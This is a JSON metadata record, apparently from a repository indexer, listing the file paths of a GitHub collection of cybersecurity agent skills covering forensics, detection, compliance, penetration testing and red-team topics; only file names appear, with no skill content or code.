{"owner":"mukul975","repo":"Anthropic-Cybersecurity-Skills","hasSkills":true,"totalSkillsCount":2573,"totalTokensCount":2977792,"categories":["marketplace","plugin-manifest","copilot-instructions","root-instruction","anthropic-skill"],"hasMcp":false,"mcpConfig":null,"found":[".claude-plugin/marketplace.json",".claude-plugin/plugin.json",".github/copilot-instructions.md","AGENTS.md","skills/abusing-dpapi-for-credential-access/SKILL.md","skills/abusing-dpapi-for-credential-access/references/api-reference.md","skills/abusing-dpapi-for-credential-access/references/standards.md","skills/abusing-shadow-credentials-for-privesc/SKILL.md","skills/abusing-shadow-credentials-for-privesc/references/api-reference.md","skills/abusing-shadow-credentials-for-privesc/references/standards.md","skills/achieving-cmmc-level-2-compliance/SKILL.md","skills/achieving-cmmc-level-2-compliance/assets/template.md","skills/achieving-cmmc-level-2-compliance/references/standards.md","skills/acquiring-disk-image-with-dd-and-dcfldd/SKILL.md","skills/acquiring-disk-image-with-dd-and-dcfldd/references/api-reference.md","skills/analyzing-active-directory-acl-abuse/SKILL.md","skills/analyzing-active-directory-acl-abuse/references/api-reference.md","skills/analyzing-android-malware-with-apktool/SKILL.md","skills/analyzing-android-malware-with-apktool/references/api-reference.md","skills/analyzing-api-gateway-access-logs/SKILL.md","skills/analyzing-api-gateway-access-logs/references/api-reference.md","skills/analyzing-apt-group-with-mitre-navigator/SKILL.md","skills/analyzing-apt-group-with-mitre-navigator/references/api-reference.md","skills/analyzing-azure-activity-logs-for-threats/SKILL.md","skills/analyzing-azure-activity-logs-for-threats/references/api-reference.md","skills/analyzing-bootkit-and-rootkit-samples/SKILL.md","skills/analyzing-bootkit-and-rootkit-samples/references/api-reference.md","skills/analyzing-browser-forensics-with-hindsight/SKILL.md","skills/analyzing-browser-forensics-with-hindsight/assets/template.md","skills/analyzing-browser-forensics-with-hindsight/references/api-reference.md","skills/analyzing-browser-forensics-with-hindsight/references/standards.md","skills/analyzing-browser-forensics-with-hindsight/references/workflows.md","skills/analyzing-campaign-attribution-evidence/SKILL.md","skills/analyzing-campaign-attribution-evidence/assets/template.md","skills/analyzing-campaign-attribution-evidence/references/api-reference.md","skills/analyzing-campaign-attribution-evidence/references/standards.md","skills/analyzing-campaign-attribution-evidence/references/workflows.md","skills/analyzing-certificate-transparency-for-phishing/SKILL.md","skills/analyzing-certificate-transparency-for-phishing/references/api-reference.md","skills/analyzing-cloud-storage-access-patterns/SKILL.md","skills/analyzing-cloud-storage-access-patterns/references/api-reference.md","skills/analyzing-cobalt-strike-beacon-configuration/SKILL.md","skills/analyzing-cobalt-strike-beacon-configuration/assets/template.md","skills/analyzing-cobalt-strike-beacon-configuration/references/api-reference.md","skills/analyzing-cobalt-strike-beacon-configuration/references/standards.md","skills/analyzing-cobalt-strike-beacon-configuration/references/workflows.md","skills/analyzing-cobaltstrike-malleable-c2-profiles/SKILL.md","skills/analyzing-cobaltstrike-malleable-c2-profiles/references/api-reference.md","skills/analyzing-command-and-control-communication/SKILL.md","skills/analyzing-command-and-control-communication/references/api-reference.md","skills/analyzing-cyber-kill-chain/SKILL.md","skills/analyzing-cyber-kill-chain/references/api-reference.md","skills/analyzing-disk-image-with-autopsy/SKILL.md","skills/analyzing-disk-image-with-autopsy/references/api-reference.md","skills/analyzing-dns-logs-for-exfiltration/SKILL.md","skills/analyzing-dns-logs-for-exfiltration/references/api-reference.md","skills/analyzing-docker-container-forensics/SKILL.md","skills/analyzing-docker-container-forensics/references/api-reference.md","skills/analyzing-email-headers-for-phishing-investigation/SKILL.md","skills/analyzing-email-headers-for-phishing-investigation/references/api-reference.md","skills/analyzing-ethereum-smart-contract-vulnerabilities/SKILL.md","skills/analyzing-ethereum-smart-contract-vulnerabilities/references/api-reference.md","skills/analyzing-golang-malware-with-ghidra/SKILL.md","skills/analyzing-golang-malware-with-ghidra/assets/template.md","skills/analyzing-golang-malware-with-ghidra/references/api-reference.md","skills/analyzing-golang-malware-with-ghidra/references/standards.md","skills/analyzing-golang-malware-with-ghidra/references/workflows.md","skills/analyzing-heap-spray-exploitation/SKILL.md","skills/analyzing-heap-spray-exploitation/references/api-reference.md","skills/analyzing-indicators-of-compromise/SKILL.md","skills/analyzing-indicators-of-compromise/references/api-reference.md","skills/analyzing-ios-app-security-with-objection/SKILL.md","skills/analyzing-ios-app-security-with-objection/assets/template.md","skills/analyzing-ios-app-security-with-objection/references/api-reference.md","skills/analyzing-ios-app-security-with-objection/references/standards.md","skills/analyzing-ios-app-security-with-objection/references/workflows.md","skills/analyzing-kubernetes-audit-logs/SKILL.md","skills/analyzing-kubernetes-audit-logs/references/api-reference.md","skills/analyzing-linux-audit-logs-for-intrusion/SKILL.md","skills/analyzing-linux-audit-logs-for-intrusion/references/api-reference.md","skills/analyzing-linux-elf-malware/SKILL.md","skills/analyzing-linux-elf-malware/references/api-reference.md","skills/analyzing-linux-kernel-rootkits/SKILL.md","skills/analyzing-linux-kernel-rootkits/references/api-reference.md","skills/analyzing-linux-system-artifacts/SKILL.md","skills/analyzing-linux-system-artifacts/references/api-reference.md","skills/analyzing-lnk-file-and-jump-list-artifacts/SKILL.md","skills/analyzing-lnk-file-and-jump-list-artifacts/assets/template.md","skills/analyzing-lnk-file-and-jump-list-artifacts/references/api-reference.md","skills/analyzing-lnk-file-and-jump-list-artifacts/references/standards.md","skills/analyzing-lnk-file-and-jump-list-artifacts/references/workflows.md","skills/analyzing-macro-malware-in-office-documents/SKILL.md","skills/analyzing-macro-malware-in-office-documents/references/api-reference.md","skills/analyzing-malicious-pdf-with-peepdf/SKILL.md","skills/analyzing-malicious-pdf-with-peepdf/references/api-reference.md","skills/analyzing-malicious-url-with-urlscan/SKILL.md","skills/analyzing-malicious-url-with-urlscan/assets/template.md","skills/analyzing-malicious-url-with-urlscan/references/api-reference.md","skills/analyzing-malicious-url-with-urlscan/references/standards.md","skills/analyzing-malicious-url-with-urlscan/references/workflows.md","skills/analyzing-malware-behavior-with-cuckoo-sandbox/SKILL.md","skills/analyzing-malware-behavior-with-cuckoo-sandbox/references/api-reference.md","skills/analyzing-malware-family-relationships-with-malpedia/SKILL.md","skills/analyzing-malware-family-relationships-with-malpedia/references/api-reference.md","skills/analyzing-malware-persistence-with-autoruns/SKILL.md","skills/analyzing-malware-persistence-with-autoruns/assets/template.md","skills/analyzing-malware-persistence-with-autoruns/references/api-reference.md","skills/analyzing-malware-persistence-with-autoruns/references/standards.md","skills/analyzing-malware-persistence-with-autoruns/references/workflows.md","skills/analyzing-malware-sandbox-evasion-techniques/SKILL.md","skills/analyzing-malware-sandbox-evasion-techniques/references/api-reference.md","skills/analyzing-memory-dumps-with-volatility/SKILL.md","skills/analyzing-memory-dumps-with-volatility/references/api-reference.md","skills/analyzing-memory-forensics-with-lime-and-volatility/SKILL.md","skills/analyzing-memory-forensics-with-lime-and-volatility/references/api-reference.md","skills/analyzing-mft-for-deleted-file-recovery/SKILL.md","skills/analyzing-mft-for-deleted-file-recovery/assets/template.md","skills/analyzing-mft-for-deleted-file-recovery/references/api-reference.md","skills/analyzing-mft-for-deleted-file-recovery/references/standards.md","skills/analyzing-mft-for-deleted-file-recovery/references/workflows.md","skills/analyzing-network-covert-channels-in-malware/SKILL.md","skills/analyzing-network-covert-channels-in-malware/assets/template.md","skills/analyzing-network-covert-channels-in-malware/references/api-reference.md","skills/analyzing-network-covert-channels-in-malware/references/standards.md","skills/analyzing-network-covert-channels-in-malware/references/workflows.md","skills/analyzing-network-flow-data-with-netflow/SKILL.md","skills/analyzing-network-flow-data-with-netflow/references/api-reference.md","skills/analyzing-network-packets-with-scapy/SKILL.md","skills/analyzing-network-packets-with-scapy/references/api-reference.md","skills/analyzing-network-traffic-for-incidents/SKILL.md","skills/analyzing-network-traffic-for-incidents/references/api-reference.md","skills/analyzing-network-traffic-of-malware/SKILL.md","skills/analyzing-network-traffic-of-malware/references/api-reference.md","skills/analyzing-network-traffic-with-wireshark/SKILL.md","skills/analyzing-network-traffic-with-wireshark/references/api-reference.md","skills/analyzing-office365-audit-logs-for-compromise/SKILL.md","skills/analyzing-office365-audit-logs-for-compromise/references/api-reference.md","skills/analyzing-outlook-pst-for-email-forensics/SKILL.md","skills/analyzing-outlook-pst-for-email-forensics/references/api-reference.md","skills/analyzing-outlook-pst-for-email-forensics/references/standards.md","skills/analyzing-outlook-pst-for-email-forensics/references/workflows.md","skills/analyzing-packed-malware-with-upx-unpacker/SKILL.md","skills/analyzing-packed-malware-with-upx-unpacker/references/api-reference.md","skills/analyzing-pdf-malware-with-pdfid/SKILL.md","skills/analyzing-pdf-malware-with-pdfid/references/api-reference.md","skills/analyzing-persistence-mechanisms-in-linux/SKILL.md","skills/analyzing-persistence-mechanisms-in-linux/references/api-reference.md","skills/analyzing-powershell-empire-artifacts/SKILL.md","skills/analyzing-powershell-empire-artifacts/references/api-reference.md","skills/analyzing-powershell-script-block-logging/SKILL.md","skills/analyzing-powershell-script-block-logging/references/api-reference.md","skills/analyzing-prefetch-files-for-execution-history/SKILL.md","skills/analyzing-prefetch-files-for-execution-history/references/api-reference.md","skills/analyzing-ransomware-encryption-mechanisms/SKILL.md","skills/analyzing-ransomware-encryption-mechanisms/references/api-reference.md","skills/analyzing-ransomware-leak-site-intelligence/SKILL.md","skills/analyzing-ransomware-leak-site-intelligence/references/api-reference.md","skills/analyzing-ransomware-network-indicators/SKILL.md","skills/analyzing-ransomware-network-indicators/references/api-reference.md","skills/analyzing-ransomware-payment-wallets/SKILL.md","skills/analyzing-ransomware-payment-wallets/references/api-reference.md","skills/analyzing-sbom-for-supply-chain-vulnerabilities/SKILL.md","skills/analyzing-sbom-for-supply-chain-vulnerabilities/references/api-reference.md","skills/analyzing-security-logs-with-splunk/SKILL.md","skills/analyzing-security-logs-with-splunk/references/api-reference.md","skills/analyzing-slack-space-and-file-system-artifacts/SKILL.md","skills/analyzing-slack-space-and-file-system-artifacts/references/api-reference.md","skills/analyzing-supply-chain-malware-artifacts/SKILL.md","skills/analyzing-supply-chain-malware-artifacts/assets/template.md","skills/analyzing-supply-chain-malware-artifacts/references/api-reference.md","skills/analyzing-supply-chain-malware-artifacts/references/standards.md","skills/analyzing-supply-chain-malware-artifacts/references/workflows.md","skills/analyzing-threat-actor-ttps-with-mitre-attack/SKILL.md","skills/analyzing-threat-actor-ttps-with-mitre-attack/assets/template.md","skills/analyzing-threat-actor-ttps-with-mitre-attack/references/api-reference.md","skills/analyzing-threat-actor-ttps-with-mitre-attack/references/standards.md","skills/analyzing-threat-actor-ttps-with-mitre-attack/references/workflows.md","skills/analyzing-threat-actor-ttps-with-mitre-navigator/SKILL.md","skills/analyzing-threat-actor-ttps-with-mitre-navigator/references/api-reference.md","skills/analyzing-threat-intelligence-feeds/SKILL.md","skills/analyzing-threat-intelligence-feeds/references/api-reference.md","skills/analyzing-threat-landscape-with-misp/SKILL.md","skills/analyzing-threat-landscape-with-misp/references/api-reference.md","skills/analyzing-tls-certificate-transparency-logs/SKILL.md","skills/analyzing-tls-certificate-transparency-logs/references/api-reference.md","skills/analyzing-typosquatting-domains-with-dnstwist/SKILL.md","skills/analyzing-typosquatting-domains-with-dnstwist/references/api-reference.md","skills/analyzing-uefi-bootkit-persistence/SKILL.md","skills/analyzing-uefi-bootkit-persistence/references/api-reference.md","skills/analyzing-usb-device-connection-history/SKILL.md","skills/analyzing-usb-device-connection-history/references/api-reference.md","skills/analyzing-web-server-logs-for-intrusion/SKILL.md","skills/analyzing-web-server-logs-for-intrusion/references/api-reference.md","skills/analyzing-windows-amcache-artifacts/SKILL.md","skills/analyzing-windows-amcache-artifacts/references/api-reference.md","skills/analyzing-windows-event-logs-in-splunk/SKILL.md","skills/analyzing-windows-event-logs-in-splunk/references/api-reference.md","skills/analyzing-windows-lnk-files-for-artifacts/SKILL.md","skills/analyzing-windows-lnk-files-for-artifacts/references/api-reference.md","skills/analyzing-windows-prefetch-with-python/SKILL.md","skills/analyzing-windows-prefetch-with-python/references/api-reference.md","skills/analyzing-windows-registry-for-artifacts/SKILL.md","skills/analyzing-windows-registry-for-artifacts/references/api-reference.md","skills/analyzing-windows-shellbag-artifacts/SKILL.md","skills/analyzing-windows-shellbag-artifacts/assets/template.md","skills/analyzing-windows-shellbag-artifacts/references/api-reference.md","skills/analyzing-windows-shellbag-artifacts/references/standards.md","skills/analyzing-windows-shellbag-artifacts/references/workflows.md","skills/assessing-vector-and-embedding-weaknesses/SKILL.md","skills/assessing-vector-and-embedding-weaknesses/references/api-reference.md","skills/assessing-vector-and-embedding-weaknesses/references/standards.md","skills/attacking-entra-id-with-roadtools/SKILL.md","skills/attacking-entra-id-with-roadtools/references/api-reference.md","skills/attacking-entra-id-with-roadtools/references/standards.md","skills/attacking-oauth-with-device-code-phishing/SKILL.md","skills/attacking-oauth-with-device-code-phishing/references/api-reference.md","skills/attacking-oauth-with-device-code-phishing/references/standards.md","skills/auditing-aws-s3-bucket-permissions/SKILL.md","skills/auditing-aws-s3-bucket-permissions/references/api-reference.md","skills/auditing-azure-active-directory-configuration/SKILL.md","skills/auditing-azure-active-directory-configuration/references/api-reference.md","skills/auditing-cloud-with-cis-benchmarks/SKILL.md","skills/auditing-cloud-with-cis-benchmarks/references/api-reference.md","skills/auditing-entra-id-with-aadinternals/SKILL.md","skills/auditing-entra-id-with-aadinternals/references/api-reference.md","skills/auditing-entra-id-with-aadinternals/references/standards.md","skills/auditing-foundry-smart-contract-security/SKILL.md","skills/auditing-foundry-smart-contract-security/references/api-reference.md","skills/auditing-foundry-smart-contract-security/references/secure-deployment-and-keys.md","skills/auditing-foundry-smart-contract-security/references/vulnerability-checklist.md","skills/auditing-gcp-iam-permissions/SKILL.md","skills/auditing-gcp-iam-permissions/references/api-reference.md","skills/auditing-kubernetes-cluster-rbac/SKILL.md","skills/auditing-kubernetes-cluster-rbac/references/api-reference.md","skills/auditing-kubernetes-rbac-privilege-escalation/SKILL.md","skills/auditing-kubernetes-rbac-privilege-escalation/references/api-reference.md","skills/auditing-kubernetes-rbac-privilege-escalation/references/standards.md","skills/auditing-mcp-servers-for-tool-poisoning/SKILL.md","skills/auditing-mcp-servers-for-tool-poisoning/references/api-reference.md","skills/auditing-mcp-servers-for-tool-poisoning/references/standards.md","skills/auditing-terraform-infrastructure-for-security/SKILL.md","skills/auditing-terraform-infrastructure-for-security/references/api-reference.md","skills/auditing-tls-certificate-transparency-logs/SKILL.md","skills/auditing-tls-certificate-transparency-logs/references/api-reference.md","skills/auditing-uefi-firmware-with-chipsec/SKILL.md","skills/auditing-uefi-firmware-with-chipsec/references/api-reference.md","skills/auditing-uefi-firmware-with-chipsec/references/standards.md","skills/automating-ioc-enrichment/SKILL.md","skills/automating-ioc-enrichment/references/api-reference.md","skills/benchmarking-kubernetes-with-kube-bench/SKILL.md","skills/benchmarking-kubernetes-with-kube-bench/references/api-reference.md","skills/benchmarking-kubernetes-with-kube-bench/references/standards.md","skills/building-adversary-infrastructure-tracking-system/SKILL.md","skills/building-adversary-infrastructure-tracking-system/references/api-reference.md","skills/building-attack-pattern-library-from-cti-reports/SKILL.md","skills/building-attack-pattern-library-from-cti-reports/references/api-reference.md","skills/building-automated-malware-submission-pipeline/SKILL.md","skills/building-automated-malware-submission-pipeline/references/api-reference.md","skills/building-c2-infrastructure-with-sliver-framework/SKILL.md","skills/building-c2-infrastructure-with-sliver-framework/assets/template.md","skills/building-c2-infrastructure-with-sliver-framework/references/api-reference.md","skills/building-c2-infrastructure-with-sliver-framework/references/standards.md","skills/building-c2-infrastructure-with-sliver-framework/references/workflows.md","skills/building-c2-redirector-infrastructure/SKILL.md","skills/building-c2-redirector-infrastructure/references/api-reference.md","skills/building-c2-redirector-infrastructure/references/standards.md","skills/building-cloud-siem-with-sentinel/SKILL.md","skills/building-cloud-siem-with-sentinel/references/api-reference.md","skills/building-detection-rule-with-splunk-spl/SKILL.md","skills/building-detection-rule-with-splunk-spl/assets/template.md","skills/building-detection-rule-with-splunk-spl/references/api-reference.md","skills/building-detection-rule-with-splunk-spl/references/standards.md","skills/building-detection-rule-with-splunk-spl/references/workflows.md","skills/building-detection-rules-with-sigma/SKILL.md","skills/building-detection-rules-with-sigma/references/api-reference.md","skills/building-devsecops-pipeline-with-gitlab-ci/SKILL.md","skills/building-devsecops-pipeline-with-gitlab-ci/assets/template.md","skills/building-devsecops-pipeline-with-gitlab-ci/references/api-reference.md","skills/building-devsecops-pipeline-with-gitlab-ci/references/standards.md","skills/building-devsecops-pipeline-with-gitlab-ci/references/workflows.md","skills/building-identity-federation-with-saml-azure-ad/SKILL.md","skills/building-identity-federation-with-saml-azure-ad/assets/template.md","skills/building-identity-federation-with-saml-azure-ad/references/api-reference.md","skills/building-identity-federation-with-saml-azure-ad/references/standards.md","skills/building-identity-federation-with-saml-azure-ad/references/workflows.md","skills/building-identity-governance-lifecycle-process/SKILL.md","skills/building-identity-governance-lifecycle-process/references/api-reference.md","skills/building-incident-response-dashboard/SKILL.es.md","skills/building-incident-response-dashboard/SKILL.md","skills/building-incident-response-dashboard/references/api-reference.md","skills/building-incident-response-playbook/SKILL.md","skills/building-incident-response-playbook/references/api-reference.md","skills/building-incident-timeline-with-timesketch/SKILL.md","skills/building-incident-timeline-with-timesketch/assets/template.md","skills/building-incident-timeline-with-timesketch/references/api-reference.md","skills/building-incident-timeline-with-timesketch/references/standards.md","skills/building-incident-timeline-with-timesketch/references/workflows.md","skills/building-ioc-defanging-and-sharing-pipeline/SKILL.md","skills/building-ioc-defanging-and-sharing-pipeline/references/api-reference.md","skills/building-ioc-enrichment-pipeline-with-opencti/SKILL.md","skills/building-ioc-enrichment-pipeline-with-opencti/assets/template.md","skills/building-ioc-enrichment-pipeline-with-opencti/references/api-reference.md","skills/building-ioc-enrichment-pipeline-with-opencti/references/standards.md","skills/building-ioc-enrichment-pipeline-with-opencti/references/workflows.md","skills/building-malware-incident-communication-template/SKILL.md","skills/building-malware-incident-communication-template/assets/template.md","skills/building-malware-incident-communication-template/references/api-reference.md","skills/building-malware-incident-communication-template/references/standards.md","skills/building-malware-incident-communication-template/references/workflows.md","skills/building-patch-tuesday-response-process/SKILL.md","skills/building-patch-tuesday-response-process/assets/template.md","skills/building-patch-tuesday-response-process/references/api-reference.md","skills/building-patch-tuesday-response-process/references/standards.md","skills/building-patch-tuesday-response-process/references/workflows.md","skills/building-phishing-reporting-button-workflow/SKILL.md","skills/building-phishing-reporting-button-workflow/assets/template.md","skills/building-phishing-reporting-button-workflow/references/api-reference.md","skills/building-phishing-reporting-button-workflow/references/standards.md","skills/building-phishing-reporting-button-workflow/references/workflows.md","skills/building-ransomware-playbook-with-cisa-framework/SKILL.md","skills/building-ransomware-playbook-with-cisa-framework/references/api-reference.md","skills/building-red-team-c2-infrastructure-with-havoc/SKILL.md","skills/building-red-team-c2-infrastructure-with-havoc/assets/template.md","skills/building-red-team-c2-infrastructure-with-havoc/references/api-reference.md","skills/building-red-team-c2-infrastructure-with-havoc/references/standards.md","skills/building-red-team-c2-infrastructure-with-havoc/references/workflows.md","skills/building-role-mining-for-rbac-optimization/SKILL.md","skills/building-role-mining-for-rbac-optimization/assets/template.md","skills/building-role-mining-for-rbac-optimization/references/api-reference.md","skills/building-role-mining-for-rbac-optimization/references/standards.md","skills/building-role-mining-for-rbac-optimization/references/workflows.md","skills/building-soc-escalation-matrix/SKILL.md","skills/building-soc-escalation-matrix/assets/template.md","skills/building-soc-escalation-matrix/references/api-reference.md","skills/building-soc-escalation-matrix/references/standards.md","skills/building-soc-escalation-matrix/references/workflows.md","skills/building-soc-metrics-and-kpi-tracking/SKILL.md","skills/building-soc-metrics-and-kpi-tracking/references/api-reference.md","skills/building-soc-playbook-for-ransomware/SKILL.md","skills/building-soc-playbook-for-ransomware/references/api-reference.md","skills/building-super-timelines-with-plaso/SKILL.md","skills/building-super-timelines-with-plaso/references/api-reference.md","skills/building-super-timelines-with-plaso/references/standards.md","skills/building-threat-actor-profile-from-osint/SKILL.md","skills/building-threat-actor-profile-from-osint/references/api-reference.md","skills/building-threat-feed-aggregation-with-misp/SKILL.md","skills/building-threat-feed-aggregation-with-misp/references/api-reference.md","skills/building-threat-hunt-hypothesis-framework/SKILL.md","skills/building-threat-hunt-hypothesis-framework/assets/template.md","skills/building-threat-hunt-hypothesis-framework/references/api-reference.md","skills/building-threat-hunt-hypothesis-framework/references/standards.md","skills/building-threat-hunt-hypothesis-framework/references/workflows.md","skills/building-threat-intelligence-enrichment-in-splunk/SKILL.md","skills/building-threat-intelligence-enrichment-in-splunk/assets/template.md","skills/building-threat-intelligence-enrichment-in-splunk/references/api-reference.md","skills/building-threat-intelligence-enrichment-in-splunk/references/standards.md","skills/building-threat-intelligence-enrichment-in-splunk/references/workflows.md","skills/building-threat-intelligence-feed-integration/SKILL.md","skills/building-threat-intelligence-feed-integration/references/api-reference.md","skills/building-threat-intelligence-platform/SKILL.md","skills/building-threat-intelligence-platform/assets/template.md","skills/building-threat-intelligence-platform/references/api-reference.md","skills/building-threat-intelligence-platform/references/standards.md","skills/building-threat-intelligence-platform/references/workflows.md","skills/building-vulnerability-aging-and-sla-tracking/SKILL.md","skills/building-vulnerability-aging-and-sla-tracking/assets/template.md","skills/building-vulnerability-aging-and-sla-tracking/references/api-reference.md","skills/building-vulnerability-aging-and-sla-tracking/references/standards.md","skills/building-vulnerability-aging-and-sla-tracking/references/workflows.md","skills/building-vulnerability-dashboard-with-defectdojo/SKILL.md","skills/building-vulnerability-dashboard-with-defectdojo/assets/template.md","skills/building-vulnerability-dashboard-with-defectdojo/references/api-reference.md","skills/building-vulnerability-dashboard-with-defectdojo/references/standards.md","skills/building-vulnerability-dashboard-with-defectdojo/references/workflows.md","skills/building-vulnerability-exception-tracking-system/SKILL.md","skills/building-vulnerability-exception-tracking-system/assets/template.md","skills/building-vulnerability-exception-tracking-system/references/api-reference.md","skills/building-vulnerability-exception-tracking-system/references/standards.md","skills/building-vulnerability-exception-tracking-system/references/workflows.md","skills/building-vulnerability-scanning-workflow/SKILL.md","skills/building-vulnerability-scanning-workflow/references/api-reference.md","skills/bypassing-authentication-with-forced-browsing/SKILL.md","skills/bypassing-authentication-with-forced-browsing/references/api-reference.md","skills/coercing-authentication-with-coercer-petitpotam/SKILL.md","skills/coercing-authentication-with-coercer-petitpotam/references/api-reference.md","skills/coercing-authentication-with-coercer-petitpotam/references/standards.md","skills/collecting-indicators-of-compromise/SKILL.md","skills/collecting-indicators-of-compromise/references/api-reference.md","skills/collecting-open-source-intelligence/SKILL.md","skills/collecting-open-source-intelligence/references/api-reference.md","skills/collecting-threat-intelligence-with-misp/SKILL.md","skills/collecting-threat-intelligence-with-misp/assets/template.md","skills/collecting-threat-intelligence-with-misp/references/api-reference.md","skills/collecting-threat-intelligence-with-misp/references/standards.md","skills/collecting-threat-intelligence-with-misp/references/workflows.md","skills/collecting-volatile-evidence-from-compromised-host/SKILL.md","skills/collecting-volatile-evidence-from-compromised-host/assets/template.md","skills/collecting-volatile-evidence-from-compromised-host/references/api-reference.md","skills/collecting-volatile-evidence-from-compromised-host/references/standards.md","skills/collecting-volatile-evidence-from-compromised-host/references/workflows.md","skills/conducting-api-security-testing/SKILL.md","skills/conducting-api-security-testing/references/api-reference.md","skills/conducting-cloud-incident-response/SKILL.md","skills/conducting-cloud-incident-response/references/api-reference.md","skills/conducting-cloud-penetration-testing/SKILL.md","skills/conducting-cloud-penetration-testing/references/api-reference.md","skills/conducting-cyber-risk-assessment-with-nist-800-30/SKILL.md","skills/conducting-cyber-risk-assessment-with-nist-800-30/assets/template.md","skills/conducting-cyber-risk-assessment-with-nist-800-30/references/standards.md","skills/conducting-domain-persistence-with-dcsync/SKILL.md","skills/conducting-domain-persistence-with-dcsync/assets/template.md","skills/conducting-domain-persistence-with-dcsync/references/api-reference.md","skills/conducting-domain-persistence-with-dcsync/references/standards.md","skills/conducting-domain-persistence-with-dcsync/references/workflows.md","skills/conducting-external-reconnaissance-with-osint/SKILL.md","skills/conducting-external-reconnaissance-with-osint/references/api-reference.md","skills/conducting-full-scope-red-team-engagement/SKILL.md","skills/conducting-full-scope-red-team-engagement/assets/template.md","skills/conducting-full-scope-red-team-engagement/references/api-reference.md","skills/conducting-full-scope-red-team-engagement/references/standards.md","skills/conducting-full-scope-red-team-engagement/references/workflows.md","skills/conducting-gdpr-compliance-assessment/SKILL.md","skills/conducting-gdpr-compliance-assessment/assets/compliance-scorecard.md","skills/conducting-gdpr-compliance-assessment/references/api-reference.md","skills/conducting-gdpr-compliance-assessment/references/detailed-workflow.md","skills/conducting-gdpr-compliance-assessment/references/standards.md","skills/conducting-internal-network-penetration-test/SKILL.md","skills/conducting-internal-network-penetration-test/assets/template.md","skills/conducting-internal-network-penetration-test/references/api-reference.md","skills/conducting-internal-network-penetration-test/references/standards.md","skills/conducting-internal-network-penetration-test/references/workflows.md","skills/conducting-internal-reconnaissance-with-bloodhound-ce/SKILL.md","skills/conducting-internal-reconnaissance-with-bloodhound-ce/assets/template.md","skills/conducting-internal-reconnaissance-with-bloodhound-ce/references/api-reference.md","skills/conducting-internal-reconnaissance-with-bloodhound-ce/references/standards.md","skills/conducting-internal-reconnaissance-with-bloodhound-ce/references/workflows.md","skills/conducting-malware-incident-response/SKILL.md","skills/conducting-malware-incident-response/references/api-reference.md","skills/conducting-man-in-the-middle-attack-simulation/SKILL.md","skills/conducting-man-in-the-middle-attack-simulation/references/api-reference.md","skills/conducting-memory-forensics-with-volatility/SKILL.md","skills/conducting-memory-forensics-with-volatility/references/api-reference.md","skills/conducting-mobile-app-penetration-test/SKILL.md","skills/conducting-mobile-app-penetration-test/references/api-reference.md","skills/conducting-network-penetration-test/SKILL.md","skills/conducting-network-penetration-test/references/api-reference.md","skills/conducting-pass-the-ticket-attack/SKILL.md","skills/conducting-pass-the-ticket-attack/assets/template.md","skills/conducting-pass-the-ticket-attack/references/api-reference.md","skills/conducting-pass-the-ticket-attack/references/standards.md","skills/conducting-pass-the-ticket-attack/references/workflows.md","skills/conducting-phishing-incident-response/SKILL.md","skills/conducting-phishing-incident-response/references/api-reference.md","skills/conducting-post-incident-lessons-learned/SKILL.md","skills/conducting-post-incident-lessons-learned/assets/template.md","skills/conducting-post-incident-lessons-learned/references/api-reference.md","skills/conducting-post-incident-lessons-learned/references/standards.md","skills/conducting-post-incident-lessons-learned/references/workflows.md","skills/conducting-social-engineering-penetration-test/SKILL.md","skills/conducting-social-engineering-penetration-test/assets/template.md","skills/conducting-social-engineering-penetration-test/references/api-reference.md","skills/conducting-social-engineering-penetration-test/references/standards.md","skills/conducting-social-engineering-penetration-test/references/workflows.md","skills/conducting-social-engineering-pretext-call/SKILL.md","skills/conducting-social-engineering-pretext-call/assets/template.md","skills/conducting-social-engineering-pretext-call/references/api-reference.md","skills/conducting-social-engineering-pretext-call/references/standards.md","skills/conducting-social-engineering-pretext-call/references/workflows.md","skills/conducting-spearphishing-simulation-campaign/SKILL.md","skills/conducting-spearphishing-simulation-campaign/assets/template.md","skills/conducting-spearphishing-simulation-campaign/references/api-reference.md","skills/conducting-spearphishing-simulation-campaign/references/standards.md","skills/conducting-spearphishing-simulation-campaign/references/workflows.md","skills/conducting-wireless-network-penetration-test/SKILL.md","skills/conducting-wireless-network-penetration-test/references/api-reference.md","skills/configuring-active-directory-tiered-model/SKILL.md","skills/configuring-active-directory-tiered-model/references/api-reference.md","skills/configuring-aws-verified-access-for-ztna/SKILL.md","skills/configuring-aws-verified-access-for-ztna/assets/template.md","skills/configuring-aws-verified-access-for-ztna/references/api-reference.md","skills/configuring-aws-verified-access-for-ztna/references/standards.md","skills/configuring-aws-verified-access-for-ztna/references/workflows.md","skills/configuring-certificate-authority-with-openssl/SKILL.md","skills/configuring-certificate-authority-with-openssl/assets/template.md","skills/configuring-certificate-authority-with-openssl/references/api-reference.md","skills/configuring-certificate-authority-with-openssl/references/standards.md","skills/configuring-certificate-authority-with-openssl/references/workflows.md","skills/configuring-host-based-intrusion-detection/SKILL.md","skills/configuring-host-based-intrusion-detection/assets/template.md","skills/configuring-host-based-intrusion-detection/references/api-reference.md","skills/configuring-host-based-intrusion-detection/references/standards.md","skills/configuring-host-based-intrusion-detection/references/workflows.md","skills/configuring-hsm-for-key-storage/SKILL.md","skills/configuring-hsm-for-key-storage/assets/template.md","skills/configuring-hsm-for-key-storage/references/api-reference.md","skills/configuring-hsm-for-key-storage/references/standards.md","skills/configuring-hsm-for-key-storage/references/workflows.md","skills/configuring-identity-aware-proxy-with-google-iap/SKILL.md","skills/configuring-identity-aware-proxy-with-google-iap/assets/template.md","skills/configuring-identity-aware-proxy-with-google-iap/references/api-reference.md","skills/configuring-identity-aware-proxy-with-google-iap/references/standards.md","skills/configuring-identity-aware-proxy-with-google-iap/references/workflows.md","skills/configuring-ldap-security-hardening/SKILL.md","skills/configuring-ldap-security-hardening/references/api-reference.md","skills/configuring-microsegmentation-for-zero-trust/SKILL.md","skills/configuring-microsegmentation-for-zero-trust/assets/template.md","skills/configuring-microsegmentation-for-zero-trust/references/api-reference.md","skills/configuring-microsegmentation-for-zero-trust/references/standards.md","skills/configuring-microsegmentation-for-zero-trust/references/workflows.md","skills/configuring-multi-factor-authentication-with-duo/SKILL.md","skills/configuring-multi-factor-authentication-with-duo/assets/template.md","skills/configuring-multi-factor-authentication-with-duo/references/api-reference.md","skills/configuring-multi-factor-authentication-with-duo/references/standards.md","skills/configuring-multi-factor-authentication-with-duo/references/workflows.md","skills/configuring-network-segmentation-with-vlans/SKILL.md","skills/configuring-network-segmentation-with-vlans/references/api-reference.md","skills/configuring-oauth2-authorization-flow/SKILL.md","skills/configuring-oauth2-authorization-flow/assets/template.md","skills/configuring-oauth2-authorization-flow/references/api-reference.md","skills/configuring-oauth2-authorization-flow/references/standards.md","skills/configuring-o